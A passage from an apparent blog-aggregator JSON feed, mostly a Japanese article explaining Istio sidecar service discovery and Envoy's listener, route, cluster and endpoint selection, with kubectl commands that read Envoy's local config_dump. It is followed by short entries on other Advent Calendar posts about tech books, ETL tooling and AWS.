patternクライアントサイドパターン通信の送信元マイクロサービスは、宛先マイクロサービスの宛先をサービスレジストリに問い合わせ、さらにロードバランシングする責務を担います。(例) NetflixのEureka、などCloud Native Patterns: Designing change-tolerant software (English Edition)Client-side service discovery patternService Discovery in Kubernetes: Combining the Best of Two Worlds03. Istioのサービスディスカバリーの仕組みIstioが実装するサービスメッシュには、サイドカープロキシメッシュとアンビエントメッシュがあり、今回はサイドカープロキシメッシュのサービスディスカバリーを取り上げます。Istioのサービスディスカバリーは、discoveryコンテナとistio-proxyコンテナが軸となり、サーバーサイドパターンのサービスディスカバリーを実装します。全体像(1) 〜 (6) の全体像は、以下の通りです\uD83D\uDC47istio-proxyコンテナは、サービスレジストリへの問い合わせと、ロードバランシングする責務を担っていることに注目してください。(1) kube-apiserverによる宛先情報保管kube-apiserverは、Pod等の宛先情報をetcd等に保管します。これは、Kubernetesの通常の仕組みです。(2) discoveryコンテナによる宛先情報保管discoveryコンテナは、kube-apiserverからPod等の宛先情報を取得し、自身に保管します。(3) istio-proxyコンテナによる宛先情報取得istio-proxyコンテナは、discoveryコンテナからPod等の宛先情報を双方向ストリーミングRPCで取得します。(4) istio-proxyコンテナによるリクエスト受信送信元マイクロサービスがリクエストを送信します。サーバーサイドパターンでの責務通り、送信元マイクロサービスはロードバランサー (ここではistio-proxyコンテナ) にリクエストを送信します。この時、送信元マイクロサービスがistio-proxyコンテナに直接的にリクエストを送信しているというよりは、iptablesがistio-proxyコンテナにリクエストをリダイレクトします。istio-proxyコンテナこれを受信します。(5) istio-proxyコンテナによるロードバランシングistio-proxyコンテナは、リクエストをロードバランシングし、宛先Podにこれを送信します。Istio in ActionJimmy Song - 专注于探索后 Kubernetes 时代的云原生新范式Tech-赵化冰的博客 | Zhaohuabing Blogdiscoveryコンテナの仕組み全体像の中から、discoveryコンテナを詳しく見てみましょう。discoveryコンテナは、別名Istiodと呼ばれています。XDS-APIというエンドポイントを公開しており、XDS-APIのうち、サービスディスカバリーに関係するAPIは以下の通りです。 APIの種類 説明 LDS-API Envoyのリスナー値を取得できる。 RDS-API Envoyのルート値を取得できる。 CDS-API Envoyのクラスター値を取得できる。 EDS-API Envoyのエンドポイント値できる。 ADS-API 各XDS-APIから取得できる宛先情報を整理して取得できる。 Istio in Action(1) kube-apiserverによる宛先情報保管kube-apiserverによる宛先情報保管 と同じです。(2) discoveryコンテナによる宛先情報保管discoveryコンテナによる宛先情報保管 と同じです。(3) istio-proxyコンテナによる宛先情報取得XDS-APIとistio-proxyコンテナの間では、gRPCの双方向ストリーミングRPCの接続が確立されています。そのため、istio-proxyコンテナからのリクエストに応じて宛先情報を返却するだけでなく、リクエストがなくとも、XDS-APIからもistio-proxyコンテナに対して宛先情報を送信します。XDS-APIのエンドポイントがいくつかあり、各エンドポイントから宛先情報を取得できます。一方で、各エンドポイントからバラバラに宛先情報を取得すると、Envoy上でこれを整理する時に、宛先情報のバージョンの不整合が起こる可能性があります。そのため、Istioは実際にはADS-APIを使用して宛先情報を取得します。istio-proxyコンテナの仕組み全体像の中から、istio-proxyコンテナを詳しく見てみましょう。Istio in ActionJimmy Song - 专注于探索后 Kubernetes 时代的云原生新范式Tech-赵化冰的博客 | Zhaohuabing Blog(1) kube-apiserverによる宛先情報保管kube-apiserverによる宛先情報保管 と同じです。(2) discoveryコンテナによる宛先情報保管discoveryコンテナによる宛先情報保管 と同じです。(3) istio-proxyコンテナによる宛先情報取得istio-proxyコンテナでは、pilot-agentとEnvoyが稼働しています。先ほどistio-proxyコンテナは、双方向ストリーミングRPCでADS-APIから宛先情報を取得すると説明しました。厳密にはEnvoyが、pilot-agentを介して、ADS-APIから双方向ストリーミングRPCで宛先情報を取得します。(4) istio-proxyコンテナによるリクエスト受信istio-proxyコンテナによるリクエスト受信 と同じです。(5) istio-proxyコンテナによるリクエスト受信EnvoyはADS-APIから取得した宛先情報に基づいて、宛先マイクロサービスのインスタンスにロードバランシングします。04. istio-proxyコンテナ内のEnvoyの仕組み全体像EnvoyがADS-APIから取得した宛先情報を見ていく前に、Envoyの処理の流れを解説します。istio-proxyコンテナ内のEnvoyでは、以下の仕組みでリクエストを処理します。(1) 〜 (6) の全体像は、以下の通りです\uD83D\uDC47Istio in Action (English Edition)Istio: Up and Running: Using a Service Mesh to Connect, Secure, Control, and ObserveArchitecture Analysis of Istio: The Most Popular Service Mesh Project - Alibaba Cloud Community(1) 送信元マイクロサービスからリクエスト受信istio-proxyコンテナは、送信元マイクロサービスからリクエストを受信します。(2) Envoyによるリスナー値選択Envoyは、リクエストの宛先情報 (例：宛先IPアドレス、ポート番号、パス、ホスト、など) に応じてリスナー値を選びます。(3) Envoyによるルート値選択Envoyは、リスナーに紐づくルート値を選びます。(4) Envoyによるクラスター値選択Envoyは、クラスターに紐づくクラスター値を選びます。(5) Envoyによるエンドポイント値選択Envoyは、クラスターに紐づくエンドポイント値を選びます。(6) 宛先マイクロサービスへのリクエスト送信Envoyは、エンドポイント値に対応するインスタンスにリクエストを送信します。Envoyで確認した宛先情報を\uD83D\uDC46に当てはめて見ていくことにしましょう。EnvoyがADS-APIから取得した宛先情報を見てみようconfig_dumpエンドポイント実際にEnvoyに登録されている宛先情報は、istio-proxyコンテナ自体のlocalhost:15000/config_dumpからJSONで取得できます。もしお手元にIstioがある場合は、Envoyにどんな宛先情報が登録されているか、Envoyを冒険してみてください。$ kubectl exec \\\\ -it foo-pod \\\\ -n foo-namespace \\\\ -c istio-proxy \\\\ -- bash -c \\"curl http://localhost:15000/config_dump\\" | yq -PJSONだと見にくいため、yqコマンドでYAMLに変換すると見やすくなります\uD83D\uDC4Dリスナー値▼ 確認方法istio-proxyコンテナがADS-APIから取得したリスナー値は、/config_dump?resource={dynamic_listeners}から確認できます。ここでは、foo-pod内でbar-podのリスナー値を確認したと仮定します。$ kubectl exec \\\\ -it foo-pod \\\\ -n foo-namespace \\\\ -c istio-proxy \\\\ -- bash -c \\"curl http://localhost:15000/config_dump?resource={dynamic_listeners}\\" | yq -P▼ 結果以下を確認できました。宛先IPアドレスや宛先ポート番号に応じてリスナー値を選べるようになっており、ここでは<任意のIPアドレス>:50002。リスナー値に紐づくルート値の名前configs: - \\"@type\\": type.googleapis.com/envoy.admin.v3.ListenersConfigDump.DynamicListener # リスナー名 name: 0.0.0.0_50002 active_state: version_info: 2022-11-24T12:13:05Z/468 listener: \\"@type\\": type.googleapis.com/envoy.config.listener.v3.Listener name: 0.0.0.0_50002 address: socket_address: # 受信したパケットのうちで、宛先IPアドレスでフィルタリング address: 0.0.0.0 # 受信したパケットのうちで、宛先ポート番号でフィルタリング port_value: 50002 filter_chains: - filter_chain_match: transport_protocol: raw_buffer application_protocols: - http/1.1 - h2c filters: - name: envoy.filters.network.http_connection_manager typed_config: \\"@type\\": type.googleapis.com/envoy.extensions.filters.network.http_connection_manager.v3.HttpConnectionManager stat_prefix: outbound_0.0.0.0_50001 rds: config_source: ads: {} initial_fetch_timeout: 0s resource_api_version: V3 # 本リスナーに紐づくルート値の名前 route_config_name: 50002 ... - \\"@type\\": type.googleapis.com/envoy.admin.v3.ListenersConfigDump.DynamicListener ...Administration interface — envoy 1.28.0-dev-d88a4f documentationConfigDump (proto) — envoy 1.28.0-dev-d88a4f documentationルート値▼ 確認方法istio-proxyコンテナがADS-APIから取得したリスナー値は、/config_dump?resource={dynamic_route_configs}から確認できます。ここでは、foo-pod内でbar-podのルート値を確認したと仮定します。$ kubectl exec \\\\ -it foo-pod \\\\ -n foo-namespace \\\\ -c istio-proxy \\\\ -- bash -c \\"curl http://localhost:15000/config_dump?resource={dynamic_route_configs}\\" | yq -P▼ 結果コマンドを実行するとYAMLを取得でき、以下を確認できました。リスナー値を取得した時に確認できたルート値の名前リクエストのパスやHostヘッダーに応じてルート値を選べるようになっているルート値に紐づくクラスター値の名前configs: - \\"@type\\": type.googleapis.com/envoy.admin.v3.RoutesConfigDump.DynamicRouteConfig version_info: 2022-11-24T12:13:05Z/468 route_config: \\"@type\\": type.googleapis.com/envoy.config.route.v3.RouteConfiguration # ルート値の名前 name: 50002 virtual_hosts: - name: bar-service.bar-namespace.svc.cluster.local:50002 # ホストベースルーティング domains: - bar-service.bar-namespace.svc.cluster.local - bar-service.bar-namespace.svc.cluster.local:50002 - bar-service - bar-service:50002 - bar-service.bar-namespace.svc - bar-service.bar-namespace.svc:50002 - bar-service.bar-namespace - bar-service.bar-namespace:50002 - 172.16.0.2 - 172.16.0.2:50002 routes: - match: # パスベースルーティング prefix: / route: # 本ルートに紐づくクラスター値の名前 cluster: outbound|50002|v1|bar-service.bar-namespace.svc.cluster.local timeout: 0s retry_policy: retry_on: connect-failure,refused-stream,unavailable,cancelled,retriable-status-codes num_retries: 2 retry_host_predicate: - name: envoy.retry_host_predicates.previous_hosts host_selection_retry_max_attempts: \\"5\\" retriable_status_codes: - 503 max_stream_duration: max_stream_duration: 0s grpc_timeout_header_max: 0s decorator: operation: bar-service.bar-namespace.svc.cluster.local:50002/* ... - \'@type\': type.googleapis.com/envoy.admin.v3.RoutesConfigDump.DynamicRouteConfig ...Administration interface — envoy 1.28.0-dev-d88a4f documentationConfigDump (proto) — envoy 1.28.0-dev-d88a4f documentationクラスター値▼ 確認方法istio-proxyコンテナがADS-APIから取得したクラスター値は、/config_dump?resource={dynamic_active_clusters}から確認できます。ここでは、foo-pod内でbar-podのクラスター値を確認したと仮定します。$ kubectl exec \\\\ -it foo-pod \\\\ -n foo-namespace \\\\ -c istio-proxy \\\\ -- bash -c \\"curl http://localhost:15000/config_dump?resource={dynamic_active_clusters}\\" | yq -P▼ 結果コマンドを実行するとYAMLを取得でき、以下を確認できました。ルート値を取得した時に確認できたクラスター値の名前クラスター値に紐づくエンドポイント値の親名configs: - \\"@type\\": type.googleapis.com/envoy.admin.v3.ClustersConfigDump.DynamicCluster version_info: 2022-11-24T12:13:05Z/468 cluster: \\"@type\\": type.googleapis.com/envoy.config.cluster.v3.Cluster # クラスター値の名前 name: outbound|50002|v1|bar-service.bar-namespace.svc.cluster.local type: EDS eds_cluster_config: eds_config: ads: {} initial_fetch_timeout: 0s resource_api_version: V3 # 本クラスターに紐づくエンドポイント値の親名 service_name: outbound|50002|v1|bar-service.bar-namespace.svc.cluster.local ... - \\"@type\\": type.googleapis.com/envoy.admin.v3.ClustersConfigDump.DynamicCluster ...Administration interface — envoy 1.28.0-dev-d88a4f documentationConfigDump (proto) — envoy 1.28.0-dev-d88a4f documentationエンドポイント値▼ 確認方法istio-proxyコンテナがADS-APIから取得したクラスター値は、/config_dump?include_edsから確認できます。ここでは、foo-pod内でbar-podのクラスター値を確認したと仮定します。$ kubectl exec \\\\ -it foo-pod \\\\ -n foo-namespace \\\\ -c istio-proxy \\\\ -- bash -c \\"curl http://localhost:15000/config_dump?include_eds\\" | yq -P▼ 結果コマンドを実行するとYAMLを取得でき、以下を確認できました。クラスター値を取得した時に確認できたエンドポイントの親名bar-podのインスタンスが3個あるため、3個のエンドポイントがありますconfigs: dynamic_endpoint_configs: - endpoint_config: \\"@type\\": type.googleapis.com/envoy.config.endpoint.v3.ClusterLoadAssignment # エンドポイントの親名 cluster_name: outbound|50002|v1|bar-service.bar-namespace.svc.cluster.local endpoints: - locality: region: ap-northeast-1 zone: ap-northeast-1a lb_endpoints: - endpoint: address: socket_address: # 冗長化されたbar-podのIPアドレス address: 11.0.0.1 # bar-pod内のコンテナが待ち受けているポート番号 port_value: 80 health_check_config: {} health_status: HEALTHY metadata: filter_metadata: istio: workload: bar envoy.transport_socket_match: tlsMode: istio # ロードバランシングアルゴリズムを決める数値 load_balancing_weight: 1 - locality: region: ap-northeast-1 zone: ap-northeast-1d lb_endpoints: - endpoint: address: socket_address: # 冗長化されたbar-podのIPアドレス address: 11.0.0.2 # bar-pod内のコンテナが待ち受けているポート番号 port_value: 80 health_check_config: {} health_status: HEALTHY metadata: filter_metadata: istio: workload: bar envoy.transport_socket_match: tlsMode: istio # ロードバランシングアルゴリズムを決める数値 load_balancing_weight: 1 - locality: region: ap-northeast-1 zone: ap-northeast-1d lb_endpoints: - endpoint: address: socket_address: # 冗長化されたbar-podのIPアドレス address: 11.0.0.3 # bar-pod内のコンテナが待ち受けているポート番号 port_value: 80 health_check_config: {} health_status: HEALTHY metadata: filter_metadata: istio: workload: bar envoy.transport_socket_match: tlsMode: istio # ロードバランシングアルゴリズムを決める数値 load_balancing_weight: 1 policy: overprovisioning_factor: 140 ... - endpoint_config: ...↪️参考：Administration interface — envoy 1.28.0-dev-d88a4f documentationConfigDump (proto) — envoy 1.28.0-dev-d88a4f documentationSupported load balancers — envoy 1.28.0-dev-d88a4f documentationload_balancing_weightキー値が等しい場合、EnvoyはP2Cアルゴリズムに基づいてロードバランシングします\uD83D\uDC4DEnvoyの処理の流れのまとめ確認できた宛先情報を、Envoyの処理の流れに当てはめてみました。(1) 送信元マイクロサービスからリクエスト受信送信元マイクロサービスは、宛先マイクロサービス (<任意のIP>/:50002) にリクエストを送信します。サイドカーコンテナのistio-proxyコンテナはこれを受信します。(2) Envoyによるリスナー値選択Envoyは、リクエストの宛先 (IPアドレス、ポート番号、パス) からPodのリスナー値 (0.0.0.0_50002) を選びます。(3) Envoyによるルート値選択Envoyは、リスナーに紐づくPodのルート値 (50002) を選びます。(4) Envoyによるクラスター値選択Envoyは、クラスターに紐づくPodのクラスター値 (outbound|50002|v1|bar-service.bar-namespace.svc.cluster.local) を選びます。(5) Envoyによるクラスター値選択Envoyは、クラスターに紐づくPodのインスタンスのエンドポイント値 (11.0.0.X/:80) を選びます。(6) 宛先マイクロサービスへのリクエスト送信Envoyは、エンドポイント値の宛先にPodのリクエストを送信します。サービスディスカバリーの冒険は以上です⛵05. おわりにIstioの機能の1つである『サービスディスカバリー』の仕組みを、Envoyを交えながらもりもり布教しました。愛が溢れてしまいました。Istioの機能を1つとっても、複雑な仕組みで実現していることがお分かりいただけたかと思います。Istioありがとう\uD83D\uDE4F\uD83D\uDE4F\uD83D\uDE4F謝辞3-shake SRE Tech Talk での発表前後に、以下の方々に発表内容について助言をいただきました。@ido_kara_deru さん@yosshi_ さん@yteraoka さん(アルファベット順)また、今回の 3-shake Advent Calender 2022 は、以下の方々に企画いただきました。@jigyakkuma_ さん@nwiizo さん(アルファベット順)皆様に感謝申し上げます\uD83D\uDE47\uD83C\uDFFB‍","link":"https://hiroki-hasegawa.hatenablog.jp/entry/2022/12/25/060000","isoDate":"2022-12-24T21:00:00.000Z","dateMiliSeconds":1671915600000,"authorName":"Hiroki Hasegawa","authorId":"hiroki-hasegawa"},{"title":"Steam Deck に Windows を入れたい方の参考になれば...!","contentSnippet":"この記事は 3-shake Advent Calendar 2022 の24日目の記事です。はじめに年末、しかもクリスマスということで散財させていただきました。初めまして、戸澤といいます。日常…","link":"https://qiita.com/tozastation/items/a57df36a369b5425795a","isoDate":"2022-12-24T08:36:33.000Z","dateMiliSeconds":1671870993000,"authorName":"tozastation","authorId":"tozastation"},{"title":"SREとして2022年読んでよかった技術書7選","contentSnippet":"はじめに2022年もそろそろ終わります。今年も技術書をたくさん読めました。技術的にはDevOpsやSRE、バックエンドに興味があります。この1年で10kg以上痩せたので冬がとても寒い。今年、読んだ技術書の中からおすすめの7冊を紹介します。順番に意味はないです。なぜ、今年は読んでよかった技術書7選なんてやろうと思ったかというと、元々はRecommend Tech Book でO\'Reilly Safariで読んで良かった技術書をまとめていました。しかし、6月末でACM経由のO\'Reilly Online Learning Platformを利用できなくなり、更新も止まりました。非常に悲しいですが今はO\'Reilly Online Learning Platformを利用しておりません。また、機会があれば入会すると思います。あと大きな読書環境の変化としては物理本絶対主義を卒業して電子書籍で購入できるものは基本的にそちらに移行しました。どこかの誰かに「紙の本を読みなよ」と言われそうです。はじめに2022年に読んでよかった技術書実用 Go言語システム運用アンチパターンソフトウェアアーキテクチャ・ハードパーツ達人プログラマー(第2版): 熟達に向けたあなたの旅セキュア・バイ・デザイン 安全なソフトウェア設計継続的デリバリーのソフトウェア工学実践Vim 思考のスピードで編集しよう！終わりに2022年に読んでよかった技術書実用 Go言語実用 Go言語 ―システム開発の現場で知っておきたいアドバイス作者:渋川 よしき,辻 大志郎,真野 隼記オライリージャパンAmazonReal World HTTP、Goならわかるシステムプログラミングの著者を中心とした経験豊富なGopher達が書いた共著のGo言語のTips系の技術書である「実用 Go言語 ―システム開発の現場で知っておきたいアドバイス」です。本書の素晴らしい点は、「よりGoらしく書くには」「実用的なアプリケーションを書くには」という言葉に偽りがなく、Gopherとしてのノウハウが満載である点だと思う。Goに興味がある程度だったら他の本を読んだほうがいいと思います。が、Goらしいプログラムの書き方を知りたい人はこの本を読むといい。知らなくていい行が一つもないです。「実用Go言語」の作り方 - Forkwell Library #7 というイベントもあったのであわせて紹介しておきます。forkwell.connpass.comシステム運用アンチパターンシステム運用アンチパターン ―エンジニアがDevOpsで解決する組織・自動化・コミュニケーション作者:Jeffery D. SmithオライリージャパンAmazonOperations Anti-Patterns, DevOps Solutions の訳本で「システム運用アンチパターン エンジニアがDevOpsで解決する組織・自動化・コミュニケーション」です。本書はタイトルからしてシステム運用に関するアンチパターンについて書かれた本ではあるが、私はむしろ、新人やシステム運用分からんマンこそ読むべき本だと思う。それくらい分かりやすく、DevOpsの基本が書かれている。本書の感想に関しては以前、読書感想文としてブログにしていたので参照ください。syu-m-5151.hatenablog.comシステム運用アンチパターン - Forkwell Library #4 というイベントもあったのであわせて紹介しておきます。forkwell.connpass.comソフトウェアアーキテクチャ・ハードパーツソフトウェアアーキテクチャ・ハードパーツ ―分散アーキテクチャのためのトレードオフ分析作者:Neal Ford,Mark Richards,Pramod Sadalage,Zhamak DehghaniオライリージャパンAmazonSoftware Architecture: The Hard Parts の訳本で「ソフトウェアアーキテクチャ・ハードパーツ ―分散アーキテクチャのためのトレードオフ分析」です。著者陣の前作『ソフトウェアアーキテクチャの基礎』も非常によい。というか殆どのエンジニアがまずはこっちを読むべきだと思ってます。『ソフトウェアアーキテクチャの基礎』の感想に関しては以前、読書感想文としてブログにしていたので参照ください。syu-m-5151.hatenablog.com本書はソフトウェアの厄介なトレードオフがある中で適切なアーキテクチャを選定するために必要となる「選択肢や考え方を提供」してくれる本です。今、マイクロサービスアーキテクチャ 第2版読んでいるがどちらともマイクロサービスに「賛成」でも「反対」でもないという中立的な立場から語られるので非常に読んでて気持ちが良い。マイクロサービスについて興味があるが導入するか悩んでる人は是非、読んでも損がないと思える一冊です。ソフトウェアアーキテクチャ・ハードパーツ - Forkwell Library #12 というイベントもあったのであわせて紹介しておきます。forkwell.connpass.com達人プログラマー(第2版): 熟達に向けたあなたの旅達人プログラマー ―熟達に向けたあなたの旅― 第2版作者:David Thomas,Andrew Huntオーム社AmazonThe Pragmatic Programmer 20th Anniversary Edition の訳本で「達人プログラマー(第2版): 熟達に向けたあなたの旅」です。我々は日々、生産性を求められている。いくら、加速文化の重圧に対抗するとは思いながら、ソフトウェア業界で働く以上は限界がある。現代は常に変化を求められ、「変わらなければ生き残れない」というのは事実だ(と信じている)。本書は、より効率的、生産的なプログラマーになりたいと願う人に対して実践的で素晴らしいTipsを紹介してくれる書籍です。プリンシプル オブ プログラミングやベタープログラマ を読んで良いと思った人は本書もハマると思う。技術者と作業員というポストにおける技術者として圧倒的な能力で問題解決ができることは理想。そして、理想には定期的に自我が殺される。本書は技術者に我々、作業員が迫る為の術をひたすら書いている。私は本書を読んで人生が楽しくなった。ソフトウェアエンジニアとしての自己啓発が足りない場合には読むことがある。エンジニアの自己啓発本です。セキュア・バイ・デザイン 安全なソフトウェア設計セキュア・バイ・デザイン 安全なソフトウェア設計作者:Dan Bergh Johnsson,Daniel Deogun,Daniel Sawanoマイナビ出版AmazonSecure by Design の訳本で「セキュア・バイ・デザイン 安全なソフトウェア設計」です。システムの設計時にセキュリティだけを切り出して別問題として考えるのではなく、システム全体の関心事として扱い、設計時に考慮するための思考方法を提供してくれる書籍です。以前、読書感想文としてブログにしていたので参照ください。DevOps的なことをいうと三部だけになりますが2030年にはセキュリティの専門家もシステム設計時からシステムに関わります(適当)。なので、セキュリティに関わる職域を目指したいという方は読むべきだと思います。syu-m-5151.hatenablog.com継続的デリバリーのソフトウェア工学継続的デリバリーのソフトウェア工学　もっと早く、もっと良いソフトウェアを作るための秘訣作者:David Farley日経BPAmazonModern Software Engineering : Doing What Works to Build Better Software Faster の訳本で「継続的デリバリーのソフトウェア工学　もっと早く、もっと良いソフトウェアを作るための秘訣」です。「ウェブオペレーション ―サイト運用管理の実践テクニック」は新人の時に読んでおいて良かったと思える一冊です。この本で私はシステムの運用が技芸だと教わりました。本書は継続的デリバリーを技芸からソフトウェア工学に取り戻そうとしている。「はじめに」が無料で公開されているのでぜひ、読んでください。bookplus.nikkei.com実践Vim 思考のスピードで編集しよう！実践Vim　思考のスピードで編集しよう！ (アスキー書籍)作者:Ｄｒｅｗ Ｎｅｉｌ,新丈 径角川アスキー総合研究所AmazonVimのコア機能を使いこなす手法に特化した本書。Editorはソフトウェアと触れ合う時の私の手の延長です。もっと、プログラミングが上手くなりたい。だから、使っているVim の達人になりたいとも考えている。なので、読んでいる。Tips集なのでやっていけば勝手に強くなる。思考のスピードを超えないように注意が必要だとは思っています。自分が好きなEditorを利用すれば良いと思っている。syu-m-5151.hatenablog.com終わりに他にも面白かった技術書はたくさんあるが発表やブログにしたものから厳選しました。これを書きながら技術書を読んでよかったと思えるのは常に自分の能力がその書籍を装備できるまでレベルが上がってからだなって思いました。ちなみに、3-shake Advent Calendar 2022の予備で途中まで書いていたブログです。皆さんが勤勉なので書くことにはなりませんでしたが人生で振り返ることが大事なので振り返ってみました。","link":"https://syu-m-5151.hatenablog.com/entry/2022/12/22/202944","isoDate":"2022-12-22T11:29:44.000Z","dateMiliSeconds":1671708584000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"kube-prometheus-stackでPrometheusを構築する","contentSnippet":"このエントリーは 3-shake Advent Calendar 2022 21日目の記事です。株式会社スリーシェイクに入社して3ヶ月が経ちました。今までアウトプット活動をあまりしてこなかったの…","link":"https://qiita.com/ys1/items/fcb430b15ae7c4fa8b47","isoDate":"2022-12-20T22:02:16.000Z","dateMiliSeconds":1671573736000,"authorName":"Yusuke Sakurai","authorId":"ysakurai"},{"title":"Reckonerを使ってGitHub名寄せ表をつくってみた","contentSnippet":"このエントリーは 3-shake Advent Calendar 2022 19日目の記事です。dogggggoさんによる Config Controller でポリシー制御をしながら Google Cloud のリソースを管理するでした。いきなりですが、Reckonerをご存知でしょうか。3-shakeが提供しているノーコード型ETLツール/データ連携ツールです。ベンチャー企業の課題Reckonerに触れる前に経緯や前段の話を少しします。Reckonerを触ってみるさぁReckonerを触っていくぞ！となったものの、いきなりチーム単位で導入して使っていくのは難しいというのは経験上わかっていました。新しいことやるのにパワーは必要です。最初が肝心なので勢いよく開発メンバーのいるSlackチャンネルに突撃しました。ユーザー目線でReckonerを触ってみてわかった機能は以下。接続できるアプリケーションがあらかじめ用意されている接続できるアプリケーションは認証情報を設定するだけでデータを引っ張ってくることができる対応していないアプリケーションやサービスはHTTPリクエストを書くことができるHTTPレスポンスはcsvやJSON形式で扱うことができ、JSON Pathsでパースすることができる接続できるアプリケーションにはGoogle Spreadsheetを始め、DWHやDB、KintoneやSlackなんかも使えたりします。いくつかのHTTPリクエストを試してみて認証付きAPIを叩けることが確認できたのでサンプルで何か作ってみようかなーと考えたのですが、情シスのHello Worldをやることにしました。GitHub名寄せ表です。GitHub名寄せ表をReckonerでつくってみるではお題が決まったところでさっそくつくっていきましょう。GitHub APIを叩くGoogle Spreadsheetに書き込むGitHub APIを叩くところを用意Reckonerのワークフローを開き、HTTPを配置すると入力画面が出てくるので必要な情報を入れます。必要なヘッダについてはこちら。 APIエンドポイントやヘッダのパラメータ JSON Pathsはこんな感じで書きますプレビューで設定したパラメータでレスポンスが受け取れているかが確認できるので、よければ保存しておきます。 APIリクエストが成功すれば結果が表示されますこれでGitHubのmembersが取れるようになりました。Google Spreadsheetの準備まずはGitHubアカウントを書き込むためのGoogle Spreadsheetを準備しておきます。 スプレッドシートIDはGoogle SpreadsheetのURLから取得したものを入れます APIリクエストが成功すれば結果が表示されますOrganizationに入れたGitHubアカウントを追記するようにするしかしながら、ここまでで用意したものだとAPIで取れたデータを毎回上書きすることになってしまって使い物になりません。ReckonerはETLなのでデータの加工も当然ながらできます。今回はGoogle SpreadsheetとGitHub APIの差分を取って、それをInsertするようにします。 変換の差分機能を使います差分機能を使うことで新たにInviteされたGitHubアカウントを抽出することができます。 データ取得 → 差分 → Insertのフロー完成こうすることで日々運用でOrganizationにGitHubアカウントを追加してもSpreadSheetに書き込まれます。 InsertされたGitHubアカウントにメールアドレスを添えてあげれば名寄せ表は完成見事ノーコードでGitHub名寄せ表がつくれましたね。最初は使い方を覚える必要がありますが、それさえ出来てしまえば欲しいデータが簡単につくれました。いかがでしたでしょうか。簡単ではありますがETLツールReckonerを紹介しました。無料トライアルにチャレンジしてみてください。新料金プランが用意されたようなのでこちらもチェックしてみてください。","link":"https://blog.jigyakkuma.org/2022/12/19/reckoner-howto/","isoDate":"2022-12-18T15:00:00.000Z","dateMiliSeconds":1671375600000,"authorName":"Shinji Yamada","authorId":"jigyakkuma"},{"title":"KubernetesのマニフェストをCIで検査する方針を考える","contentSnippet":"このエントリーは 3-shake Advent Calendar 2022 17日目の記事です。https://qiita.com/advent-calendar/2022/3-shake 概要以下の気持ちでKubernetesのマニフェストを検査するツールを選定しました。ベストプラクティスに則りたい細かなレビューの手間を省きたいセキュリティリスクを排除したい保守するのが大変なので出来るだけ自分でポリシーは書きたくない。書くとしても書きやすい方法で記述したい 検査ツールの選定以下のツールからカテゴリ別に選定することにしました。スキーマ検査kubeval...","link":"https://zenn.dev/tayusa/articles/ad9fafa197888b","isoDate":"2022-12-17T03:48:50.000Z","dateMiliSeconds":1671248930000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"CloudWatch Logs のログストリームごとのサイズを取得する","contentSnippet":"動機Amazon CloudWatch Logs のログストリームごとのサイズを知りたいことがありました。たとえば Amazon EKS クラスタを立ち上げて Fluentd または Fluent Bit でログを CloudWatch Logs に送る設定をすると，Pod のログは単一のロググループ（デフォルトでは /aws/containerinsights/Cluster_Name/application）に集約されます。https://docs.aws.amazon.com/AmazonCloudWatch/latest/monitoring/Container-Ins...","link":"https://zenn.dev/toshikish/articles/684e4d7ed4532f","isoDate":"2022-12-16T08:57:33.000Z","dateMiliSeconds":1671181053000,"authorName":"toshikish","authorId":"toshikish"},{"title":"エンジニア市場拡大のための「憧れの職業」の重要性に関する緒論","contentSnippet":"はじめに今回、4年ぶりにQiitaに記事を投稿させていただく。ひょんなきっかけ^1で私は、自身が勤めるスリーシェイクのアドベントカレンダーである3-shake Advent Calendar 2…","link":"https://qiita.com/skikkh/items/21c270c7ff7a942dc5f7","isoDate":"2022-12-16T02:21:05.000Z","dateMiliSeconds":1671157265000,"authorName":"skikkh","authorId":"skikkh"},{"title":"Descheduler for Kubernetes で Pod の再配置","contentSnippet":"背景 ある案件で以下のような小規模な Kubernetes クラスタを運用していました。 Kubernetes には hoge というアプリケーションをデプロイしている hoge アプリケーションを乗せる用のノードは2ノ […]The post Descheduler for Kubernetes で Pod の再配置 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/kubernetes-descheduler/","isoDate":"2022-12-13T00:46:47.000Z","dateMiliSeconds":1670892407000,"authorName":"Sreake","authorId":"Sreake"},{"title":"時間がない人のための AWS Solutions Architect - Professional 勉強法","contentSnippet":"難度が高くしっかりとした準備が必要な AWS SA Pro 試験を申し込んだものの，残された時間があまりないという方向けに書いた勉強法の記事です。 試験の概略 特徴長文の選択式問題が75問出題され，それを180分で解くという長丁場な試験です。ざっくり1問あたり2分24秒かけられます。75問もあり，1問に複数のサービスを関連させられるので，AWS が重点的に問いたいサービス・テーマはもれなく出現します。AWS を使った2年以上の実務経験が想定されていますが，たいていの場合，実務で扱うサービスは主要なサービスに限られ，触ったこともないサービスが多く出題されます。そのため，確...","link":"https://zenn.dev/toshikish/articles/06d85a2db79f4d","isoDate":"2022-12-12T10:46:25.000Z","dateMiliSeconds":1670841985000,"authorName":"toshikish","authorId":"toshikish"},{"title":"AWS Control Towerを調べる","contentSnippet":"これは 3-shake Advent Calendar 2022 10日目の記事です仕事の中でAWSで複数のアカウントを管理したいという要件あり、その中でAWS Control Towerが使えないかなと調べたものをざっくりと書いていきます。AWS Control TowerとはAWS Control TowerとはLanding Zoneを実装するためのAWSのマネージドサービスです。そもそもLanding Zoneって何って話になりますね。Landing Zoneとはセキュリティとコンプライアンスのベストプラクティスに基づきアーキテクチャ設計とマルチアカウント環境を管理する仕組みを指します。Landing Zoneは、下記機能から構成されます。アカウントの発行必要な初期設定の済んだアカウントを作成管理用権限の発行対象アカウントを管理するための権限を作成AWS ログの集約監査用ログをセキュアに一元保存ガードレールの設置実施してはいけない操作の禁止危険な設定の監視Landing Zoneの実装方法AWS Control TowerAWSサービスとして提供される Landing Zoneです。容易に利用可能ですが、カスタマイズするには制限があります。(必須のガードレールを外せなかったり)主にこれからAWSを利用する場合に利用できます。既存アカウントにも適用可能です。独自実装の Landing 